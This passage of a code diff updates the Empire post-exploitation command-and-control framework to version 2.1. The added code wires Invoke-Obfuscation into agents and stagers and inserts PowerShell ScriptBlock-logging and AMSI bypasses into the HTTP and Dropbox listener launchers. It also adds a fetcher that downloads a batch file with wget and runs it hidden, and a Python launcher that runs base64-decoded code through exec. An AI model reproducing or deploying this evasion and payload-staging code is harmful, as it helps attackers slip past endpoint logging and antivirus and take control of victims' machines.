%s to run command %s" %(agentSessionID, command) main.agents.save_agent_log(agentSessionID, msg) - main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command) - - return jsonify({'success': True}) + taskID = main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command) + return jsonify({'success': True, 'taskID': taskID}) @app.route('/api/agents//rename', methods=['POST']) def task_agent_rename(agent_name): @@ -1238,7 +1238,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password signal.signal(signal.SIGINT, signal_handler) # wrap the Flask connection in SSL and start it - context = ('./data/empire.pem', './data/empire.pem') + context = ('./data/empire-chain.pem', './data/empire-priv.key') app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True) diff --git a/lib/common/agents.py b/lib/common/agents.py index effbd3722..9d314238c 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -55,7 +55,7 @@ Most methods utilize self.lock to deal with the concurreny issue of kicking off threaded listeners. """ - +# -*- encoding: utf-8 -*- import os import json import string @@ -230,7 +230,7 @@ def save_file(self, sessionID, path, data, append=False): parts # construct the appropriate save path - save_path = "%sdownloads/%s%s" % (self.installPath, sessionID, "/".join(parts[0:-1])) + save_path = "%sdownloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1])) filename = os.path.basename(parts[-1]) try: @@ -1041,14 +1041,14 @@ def add_agent_task_db(self, sessionID, taskName, task=''): if pk is None: pk = 0 pk = (pk + 1) % 65536 - taskID = cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]).lastrowid + cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]) # append our new json-ified task and update the backend - agent_tasks.append([taskName, task, taskID]) + agent_tasks.append([taskName, task, pk]) cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID]) # report the agent tasking in the reporting database - cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), taskID)) + cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), pk)) cur.close() @@ -1058,7 +1058,7 @@ def add_agent_task_db(self, sessionID, taskName, task=''): f.write(task) f.close() - return taskID + return pk finally: self.lock.release() @@ -1180,6 +1180,7 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s try: message = encryption.aes_decrypt_and_verify(stagingKey, encData) except Exception as e: + print 'exception e:' + str(e) # if we have an error during decryption dispatcher.send("[!] HMAC verification failed from '%s'" % (sessionID), sender='Agents') return 'ERROR: HMAC verification failed' @@ -1291,18 +1292,18 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s dispatcher.send("[!] Nonce verified: agent %s posted valid sysinfo checkin format: %s" % (sessionID, message), sender='Agents') - # listener = parts[1].encode('ascii', 'ignore') - domainname = parts[2].encode('ascii', 'ignore') - username = parts[3].encode('ascii', 'ignore') - hostname = parts[4].encode('ascii', 'ignore') - external_ip = clientIP.encode('ascii', 'ignore') - internal_ip = parts[5].encode('ascii', 'ignore') - os_details = parts[6].encode('ascii', 'ignore') - high_integrity = parts[7].encode('ascii', 'ignore') - process_name = parts[8].encode('ascii', 'ignore') - process_id = parts[9].encode('ascii', 'ignore') - language = parts[10].encode('ascii', 'ignore') - language_version = parts[11].encode('ascii', 'ignore') + listener = unicode(parts[1], 'utf-8') + domainname = unicode(parts[2], 'utf-8') + username = unicode(parts[3], 'utf-8') + hostname = unicode(parts[4], 'utf-8') + external_ip = unicode(clientIP, 'utf-8') + internal_ip = unicode(parts[5], 'utf-8') + os_details = unicode(parts[6], 'utf-8') + high_integrity = unicode(parts[7], 'utf-8') + process_name = unicode(parts[8], 'utf-8') + process_id = unicode(parts[9], 'utf-8') + language = unicode(parts[10], 'utf-8') + language_version = unicode(parts[11], 'utf-8') if high_integrity == "True": high_integrity = 1 else: @@ -1529,17 +1530,17 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): else: print "sysinfo:",data # extract appropriate system information - listener = parts[1].encode('ascii', 'ignore') - domainname = parts[2].encode('ascii', 'ignore') - username = parts[3].encode('ascii', 'ignore') - hostname = parts[4].encode('ascii', 'ignore') - internal_ip = parts[5].encode('ascii', 'ignore') - os_details = parts[6].encode('ascii', 'ignore') - high_integrity = parts[7].encode('ascii', 'ignore') - process_name = parts[8].encode('ascii', 'ignore') - process_id = parts[9].encode('ascii', 'ignore') - language = parts[10].encode('ascii', 'ignore') - language_version = parts[11].encode('ascii', 'ignore') + listener = unicode(parts[1], 'utf-8') + domainname = unicode(parts[2], 'utf-8') + username = unicode(parts[3], 'utf-8') + hostname = unicode(parts[4], 'utf-8') + internal_ip = unicode(parts[5], 'utf-8') + os_details = unicode(parts[6], 'utf-8') + high_integrity = unicode(parts[7], 'utf-8') + process_name = unicode(parts[8], 'utf-8') + process_id = unicode(parts[9], 'utf-8') + language = unicode(parts[10], 'utf-8') + language_version = unicode(parts[11], 'utf-8') if high_integrity == 'True': high_integrity = 1 else: @@ -1569,7 +1570,7 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): elif responseName == "TASK_EXIT": # exit command response - + data = "[!] Agent %s exiting" % (sessionID) # let everyone know this agent exited dispatcher.send(data, sender='Agents') @@ -1607,6 +1608,19 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): msg = "file download: %s, part: %s" % (path, index) self.save_agent_log(sessionID, msg) + elif responseName == "TASK_GETDOWNLOADS": + if not data or data.strip().strip() == "": + data = "[*] No active downloads" + + self.update_agent_results_db(sessionID, data) + #update the agent log + self.save_agent_log(sessionID, data) + + elif responseName == "TASK_STOPDOWNLOAD": + # download kill response + self.update_agent_results_db(sessionID, data) + #update the agent log + self.save_agent_log(sessionID, data) elif responseName == "TASK_UPLOAD": pass diff --git a/lib/common/empire.py b/lib/common/empire.py index 1f34269e7..fdf8c44cd 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -9,7 +9,7 @@ """ # make version for Empire -VERSION = "2.0" +VERSION = "2.1" from pydispatch import dispatcher @@ -19,7 +19,7 @@ import os import hashlib import time - +import fnmatch # Empire imports import helpers @@ -72,7 +72,7 @@ def __init__(self, args=None, restAPI=False): time.sleep(1) # pull out some common configuration information - (self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList) = helpers.get_config('rootuser, install_path,ip_whitelist,ip_blacklist') + (self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList, self.obfuscate, self.obfuscateCommand) = helpers.get_config('rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command') # change the default prompt for the user self.prompt = '(Empire) > ' @@ -86,16 +86,17 @@ def __init__(self, args=None, restAPI=False): # parse/handle any passed command line arguments self.args = args - self.handle_args() - - dispatcher.send('[*] Empire starting up...', sender="Empire") - # instantiate the agents, listeners, and stagers objects self.agents = agents.Agents(self, args=args) self.credentials = credentials.Credentials(self, args=args) self.stagers = stagers.Stagers(self, args=args) self.modules = modules.Modules(self, args=args) self.listeners = listeners.Listeners(self, args=args) + self.handle_args() + + dispatcher.send('[*] Empire starting up...', sender="Empire") + + # print the loading menu messages.loading() @@ -433,6 +434,8 @@ def do_usestager(self, line): def do_usemodule(self, line): "Use an Empire module." + # Strip asterisks added by MainMenu.complete_usemodule() + line = line.rstrip("*") if line not in self.modules.modules: print helpers.color("[!] Error: invalid module") else: @@ -573,8 +576,22 @@ def do_set(self, line): print helpers.color("[!] Error opening ip file %s" % (parts[1])) else: self.agents.ipBlackList = helpers.generate_ip_list(",".join(parts[1:])) + elif parts[0].lower() == "obfuscate": + if parts[1].lower() == "true": + if not helpers.is_powershell_installed(): + print helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.") + else: + self.obfuscate = True + print helpers.color("[*] Obfuscating all future powershell commands run on all agents.") + elif parts[1].lower() == "false": + print helpers.color("[*] Future powershell command run on all agents will not be obfuscated.") + self.obfuscate = False + else: + print helpers.color("[!] Valid options for obfuscate are 'true' or 'false'") + elif parts[0].lower() == "obfuscate_command": + self.obfuscateCommand = parts[1] else: - print helpers.color("[!] Please choose 'ip_whitelist' or 'ip_blacklist'") + print helpers.color("[!] Please choose 'ip_whitelist', 'ip_blacklist', 'obfuscate', or 'obfuscate_command'") def do_reset(self, line): @@ -593,6 +610,10 @@ def do_show(self, line): print self.agents.ipWhiteList if line.strip().lower() == "ip_blacklist": print self.agents.ipBlackList + if line.strip().lower() == "obfuscate": + print self.obfuscate + if line.strip().lower() == "obfuscate_command": + print self.obfuscateCommand def do_load(self, line): @@ -688,17 +709,80 @@ def do_interact(self, line): else: print helpers.color("[!] Please enter a valid agent name") + def do_preobfuscate(self, line): + "Preobfuscate PowerShell module_source files" + + if not helpers.is_powershell_installed(): + print helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.") + return + + module = line.strip() + obfuscate_all = False + obfuscate_confirmation = False + reobfuscate = False + + # Preobfuscate ALL module_source files + if module == "" or module == "all": + choice = raw_input(helpers.color("[>] Preobfuscate all PowerShell module_source files using obfuscation command: \"" + self.obfuscateCommand + "\"?\nThis may take a substantial amount of time. [y/N] ", "red")) + if choice.lower() != "" and choice.lower()[0] == "y": + obfuscate_all = True + obfuscate_confirmation = True + choice = raw_input(helpers.color("[>] Force reobfuscation of previously obfuscated modules? [y/N] ", "red")) + if choice.lower() != "" and choice.lower()[0] == "y": + reobfuscate = True + + # Preobfuscate a selected module_source file + else: + module_source_fullpath = self.installPath + 'data/module_source/' + module + if not os.path.isfile(module_source_fullpath): + print helpers.color("[!] The module_source file:" + module_source_fullpath + " does not exist.") + return + + choice = raw_input(helpers.color("[>] Preobfuscate the module_source file: " + module + " using obfuscation command: \"" + self.obfuscateCommand + "\"? [y/N] ", "red")) + if choice.lower() != "" and choice.lower()[0] == "y": + obfuscate_confirmation = True + choice = raw_input(helpers.color("[>] Force reobfuscation of previously obfuscated modules? [y/N] ", "red")) + if choice.lower() != "" and choice.lower()[0] == "y": + reobfuscate = True + + # Perform obfuscation + if obfuscate_confirmation: + if obfuscate_all: + files = [file for file in helpers.get_module_source_files()] + else: + files = [self.installPath + 'data/module_source/' + module] + for file in files: + if reobfuscate or not helpers.is_obfuscated(file): + print helpers.color("[*] Obfuscating " + os.path.basename(file) + "...") + else: + print helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating.") + helpers.obfuscate_module(file, self.obfuscateCommand, reobfuscate) + def complete_usemodule(self, text, line, begidx, endidx, language=None): "Tab-complete an Empire module path." module_names = self.modules.modules.keys() + + # suffix each module requiring elevated context with '*' + for module_name in module_names: + try: + if self.modules.modules[module_name].info['NeedsAdmin']: + module_names[module_names.index(module_name)] = (module_name+"*") + # handle modules without a NeedAdmins info key + except KeyError: + pass + if language: module_names = [ (module_name[len(language)+1:]) for module_name in module_names if module_name.startswith(language)] mline = line.partition(' ')[2] + offs = len(mline) - len(text) - return [s[offs:] for s in module_names if s.startswith(mline)] + + module_names = [s[offs:] for s in module_names if s.startswith(mline)] + + return module_names def complete_reload(self, text, line, begidx, endidx): @@ -743,7 +827,7 @@ def complete_setlist(self, text, line, begidx, endidx): def complete_set(self, text, line, begidx, endidx): "Tab-complete a global option." - options = ["ip_whitelist", "ip_blacklist"] + options = ["ip_whitelist", "ip_blacklist", "obfuscate", "obfuscate_command"] if line.split(' ')[1].lower() in options: return helpers.complete_path(text, line, arg=True) @@ -793,6 +877,15 @@ def complete_list(self, text, line, begidx, endidx): return self.complete_setlist(text, line, begidx, endidx) + def complete_preobfuscate(self, text, line, begidx, endidx): + "Tab-complete an interact command" + options = [ (option[len('data/module_source/'):]) for option in helpers.get_module_source_files() ] + options.append('all') + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in options if s.startswith(mline)] + class AgentsMenu(cmd.Cmd): """ @@ -1206,7 +1299,8 @@ def do_usestager(self, line): def do_usemodule(self, line): "Use an Empire PowerShell module." - module = line.strip() + # Strip asterisks added by MainMenu.complete_usemodule() + module = line.strip().rstrip("*") if module not in self.mainMenu.modules.modules: print helpers.color("[!] Error: invalid module") @@ -1529,6 +1623,23 @@ def do_jobs(self, line): # update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID)) + def do_downloads(self, line): + "Return downloads or kill a download job" + + parts = line.split(' ') + + if len(parts) == 1: + if parts[0] == '': + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETDOWNLOADS") + #update the agent log + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get downloads") + else: + print helpers.color("[!] Please use for m 'downloads kill DOWNLOAD_ID'") + elif len(parts) == 2: + jobID = parts[1].strip() + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPDOWNLOAD", jobID) + #update the agent log + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop download " + str(jobID)) def do_sleep(self, line): "Task an agent to 'sleep interval [jitter]'" @@ -1754,7 +1865,8 @@ def do_scriptcmd(self, line): def do_usemodule(self, line): "Use an Empire PowerShell module." - module = "powershell/%s" %(line.strip()) + # Strip asterisks added by MainMenu.complete_usemodule() + module = "powershell/%s" %(line.strip().rstrip("*")) if module not in self.mainMenu.modules.modules: print helpers.color("[!] Error: invalid module") @@ -2551,7 +2663,8 @@ def do_upload(self, line): def do_usemodule(self, line): "Use an Empire Python module." - module = "python/%s" %(line.strip()) + # Strip asterisks added by MainMenu.complete_usemodule() + module = "python/%s" %(line.strip().rstrip("*")) if module not in self.mainMenu.modules.modules: print helpers.color("[!] Error: invalid module") @@ -2825,6 +2938,10 @@ def do_launcher(self, line): stager.options['Listener']['Value'] = listenerName stager.options['Language']['Value'] = language stager.options['Base64']['Value'] = "True" + if self.mainMenu.obfuscate: + stager.options['Obfuscate']['Value'] = "True" + else: + stager.options['Obfuscate']['Value'] = "False" print stager.generate() except Exception as e: print helpers.color("[!] Error generating launcher: %s" % (e)) @@ -3260,7 +3377,8 @@ def do_unset(self, line): def do_usemodule(self, line): "Use an Empire PowerShell module." - module = line.strip() + # Strip asterisks added by MainMenu.complete_usemodule() + module = line.strip().rstrip("*") if module not in self.mainMenu.modules.modules: print helpers.color("[!] Error: invalid module") @@ -3286,7 +3404,7 @@ def do_execute(self, line): self.module.execute() else: agentName = self.module.options['Agent']['Value'] - moduleData = self.module.generate() + moduleData = self.module.generate(self.mainMenu.obfuscate, self.mainMenu.obfuscateCommand) if not moduleData or moduleData == "": print helpers.color("[!] Error: module produced an empty script") diff --git a/lib/common/helpers.py b/lib/common/helpers.py index ef1af3e48..be0feefb4 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -52,7 +52,8 @@ import netifaces from time import localtime, strftime from Crypto.Random import random - +import subprocess +import fnmatch ############################################################### # @@ -776,6 +777,77 @@ def dict_factory(cursor, row): d[col[0]] = row[idx] return d +def get_module_source_files(): + """ + Get the filepaths of PowerShell module_source files located + in the data/module_source directory. + """ + paths = [] + pattern = '*.ps1' + for root, dirs, files in os.walk('data/module_source'): + for filename in fnmatch.filter(files, pattern): + paths.append(os.path.join(root, filename)) + return paths + +def obfuscate(psScript, obfuscationCommand): + """ + Obfuscate PowerShell scripts using Invoke-Obfuscation + """ + if not is_powershell_installed(): + print color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.") + return "" + # When obfuscating large scripts, command line length is too long. Need to save to temp file + toObfuscateFilename = "data/misc/ToObfuscate.ps1" + obfuscatedFilename = "data/misc/Obfuscated.ps1" + toObfuscateFile = open(toObfuscateFilename, 'w') + toObfuscateFile.write(psScript) + toObfuscateFile.close() + # Obfuscate using Invoke-Obfuscation w/ PowerShell + subprocess.call("powershell 'Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (toObfuscateFilename, convert_obfuscation_command(obfuscationCommand), obfuscatedFilename), shell=True) + obfuscatedFile = open(obfuscatedFilename , 'r') + # Obfuscation writes a newline character to the end of the file, ignoring that character + psScript = obfuscatedFile.read()[0:-1] + obfuscatedFile.close() + + return psScript + +def obfuscate_module(moduleSource, obfuscationCommand="", forceReobfuscation=False): + if is_obfuscated(moduleSource) and not forceReobfuscation: + return + + try: + f = open(moduleSource, 'r') + except: + print color("[!] Could not read module source path at: " + moduleSource) + return "" + + moduleCode = f.read() + f.close() + + # obfuscate and write to obfuscated source path + obfuscatedCode = obfuscate(psScript=moduleCode, obfuscationCommand=obfuscationCommand) + obfuscatedSource = moduleSource.replace("module_source", "obfuscated_module_source") + try: + f = open(obfuscatedSource, 'w') + except: + print color("[!] Could not read obfuscated module source path at: " + obfuscatedSource) + return "" + f.write(obfuscatedCode) + f.close() + +def is_obfuscated(moduleSource): + obfuscatedSource = moduleSource.replace("module_source", "obfuscated_module_source") + return os.path.isfile(obfuscatedSource) + +def is_powershell_installed(): + try: + powershell_location = subprocess.check_output("which powershell", shell=True) + except subprocess.CalledProcessError as e: + return False + return True + +def convert_obfuscation_command(obfuscate_command): + return "".join(obfuscate_command.split()).replace(",",",home,").replace("\\",",") class KThread(threading.Thread): """ diff --git a/lib/common/messages.py b/lib/common/messages.py index 48b1a9c95..7786fea0d 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -29,7 +29,7 @@ def title(version): # print ' [Empire] PowerShell/Python post-exploitation framework' print " [Empire] Post-Exploitation Framework" print '================================================================' - print " [Version] %s | [Web] https://theempire.io" % (version) + print " [Version] %s | [Web] https://github.com/empireProject/Empire" % (version) print '================================================================' print """ _______ .___ ___. .______ __ .______ _______ @@ -427,7 +427,11 @@ def display_module_search(moduleName, module): Displays the name/description of a module for search results. """ - print " %s\n" % (helpers.color(moduleName, 'blue')) + # Suffix modules requring elevated context with '*' + if module.info['NeedsAdmin']: + print " %s*\n" % (helpers.color(moduleName, 'blue')) + else: + print " %s\n" % (helpers.color(moduleName, 'blue')) # width=40, indent=32, indentAll=False, lines = textwrap.wrap(textwrap.dedent(module.info['Description']).strip(), width=70) diff --git a/lib/common/packets.py b/lib/common/packets.py index 4d1beb86b..89373e756 100644 --- a/lib/common/packets.py +++ b/lib/common/packets.py @@ -98,6 +98,9 @@ "TASK_GETJOBS" : 50, "TASK_STOPJOB" : 51, + "TASK_GETDOWNLOADS" : 52, + "TASK_STOPDOWNLOAD" : 53, + "TASK_CMD_WAIT" : 100, "TASK_CMD_WAIT_SAVE" : 101, "TASK_CMD_JOB" : 110, diff --git a/lib/common/stagers.py b/lib/common/stagers.py index ba22e4976..69d1477ad 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -75,8 +75,16 @@ def set_stager_option(self, option, value): if stagerOption == option: stager.options[option]['Value'] = str(value) + def generate_launcher_fetcher(self, language=None, encode=True, webFile='http://127.0.0.1/launcher.bat', launcher='powershell -noP -sta -w 1 -enc '): + #TODO add handle for other than powershell language + stager = 'wget "' + webFile + '" -outfile "launcher.bat"; Start-Process -FilePath .\launcher.bat -Wait -passthru -WindowStyle Hidden;' + if encode: + return helpers.powershell_launcher(stager, launcher) + else: + return stager + - def generate_launcher(self, listenerName, language=None, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true'): + def generate_launcher(self, listenerName, language=None, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true'): """ Abstracted functionality that invokes the generate_launcher() method for a given listener, if it exists. @@ -88,7 +96,7 @@ def generate_launcher(self, listenerName, language=None, encode=True, userAgent= activeListener = self.mainMenu.listeners.activeListeners[listenerName] - launcherCode = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_launcher(encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, language=language, listenerName=listenerName, safeChecks=safeChecks) + launcherCode = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_launcher(encode=encode, obfuscate=obfuscate, obfuscationCommand=obfuscationCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, language=language, listenerName=listenerName, safeChecks=safeChecks) if launcherCode: return launcherCode @@ -450,4 +458,4 @@ def generate_jar(self, launcherCode): jarfile.close() os.remove('Run.jar') - return jar \ No newline at end of file + return jar diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py index f2f841d52..64faf595f 100755 --- a/lib/listeners/dbx.py +++ b/lib/listeners/dbx.py @@ -175,8 +175,18 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p stager = '' if safeChecks.lower() == 'true': + # ScriptBlock Logging bypass + stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(") + stager += "'System.Management.Automation.Utils'" + stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") + stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" + stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" + stager += helpers.randomize_capitalization("$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" + # @mattifestation's AMSI bypass - stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(") + stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 845d02503..fe625b005 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -145,7 +145,7 @@ def validate_options(self): return True - def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): + def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ @@ -170,8 +170,18 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p stager = '' if safeChecks.lower() == 'true': + # ScriptBlock Logging bypass + stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(") + stager += "'System.Management.Automation.Utils'" + stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") + stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" + stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" + stager += helpers.randomize_capitalization("$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" + # @mattifestation's AMSI bypass - stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(") + stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" @@ -207,7 +217,12 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials - pass + username = proxyCreds.split(':')[0] + password = proxyCreds.split(':')[1] + domain = username.split('\\')[0] + usr = username.split('\\')[1] + stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");" + stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") # TODO: reimplement stager retries? #check if we're using IPv6 @@ -251,9 +266,11 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") - + + if obfuscate: + stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it - if encode: + if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager @@ -306,10 +323,29 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue) - launcherBase += "if urllib2.getproxies():\n" - launcherBase += " o = urllib2.build_opener();\n" - launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" - launcherBase += " urllib2.install_opener(o);\n" + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib2.ProxyHandler();\n" + else: + proto = proxy.Split(':')[0] + launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n" + + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib2.build_opener(proxy);\n" + else: + launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" + username = proxyCreds.split(':')[0] + password = proxyCreds.split(':')[1] + launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n" + launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" + else: + launcherBase += "o = urllib2.build_opener(proxy);\n" + else: + launcherBase += "o = urllib2.build_opener();\n" + + #install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV @@ -333,7 +369,7 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p if encode: launchEncoded = base64.b64encode(launcherBase) - launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % (launchEncoded) + launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python &" % (launchEncoded) return launcher else: return launcherBase @@ -345,7 +381,7 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p print helpers.color("[!] listeners/http generate_launcher(): invalid listener name specification!") - def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): + def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ @@ -398,7 +434,9 @@ def generate_stager(self, listenerOptions, encode=False, encrypt=True, language= randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line - + + if obfuscate: + randomizedStager = helpers.obfuscate(randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) @@ -441,7 +479,7 @@ def generate_stager(self, listenerOptions, encode=False, encrypt=True, language= print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.") - def generate_agent(self, listenerOptions, language=None): + def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""): """ Generate the full agent code needed for communications with this listener. """ @@ -484,7 +522,8 @@ def generate_agent(self, listenerOptions, language=None): code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") if workingHours != "": code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',") - + if obfuscate: + code = helpers.obfuscate(code, obfuscationCommand=obfuscationCommand) return code elif language == 'python': @@ -752,7 +791,7 @@ def handle_get(request_uri): # step 2 of negotiation -> return stager.ps1 (stage 1) dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http') - stage = self.generate_stager(language=language, listenerOptions=listenerOptions) + stage = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) return make_response(stage, 200) elif results.startswith('ERROR:'): @@ -815,7 +854,7 @@ def handle_post(request_uri): tempListenerOptions = listenerOptions # step 6 of negotiation -> server sends patched agent.ps1/agent.py - agentCode = self.generate_agent(language=language, listenerOptions=tempListenerOptions) + agentCode = self.generate_agent(language=language, listenerOptions=tempListenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) # TODO: wrap ^ in a routing packet? @@ -839,7 +878,8 @@ def handle_post(request_uri): host = listenerOptions['Host']['Value'] if certPath.strip() != '' and host.startswith('https'): certPath = os.path.abspath(certPath) - app.run(host=bindIP, port=int(port), threaded=True, ssl_context=(certPath,certPath)) + context = ("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath)) + app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context) else: app.run(host=bindIP, port=int(port), threaded=True) diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py index 18bfd1292..edab7f8ee 100644 --- a/lib/listeners/http_com.py +++ b/lib/listeners/http_com.py @@ -147,7 +147,7 @@ def validate_options(self): return True - def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): + def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ @@ -171,8 +171,18 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p stager = '' if safeChecks.lower() == 'true': + # ScriptBlock Logging bypass + stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(") + stager += "'System.Management.Automation.Utils'" + stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") + stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" + stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" 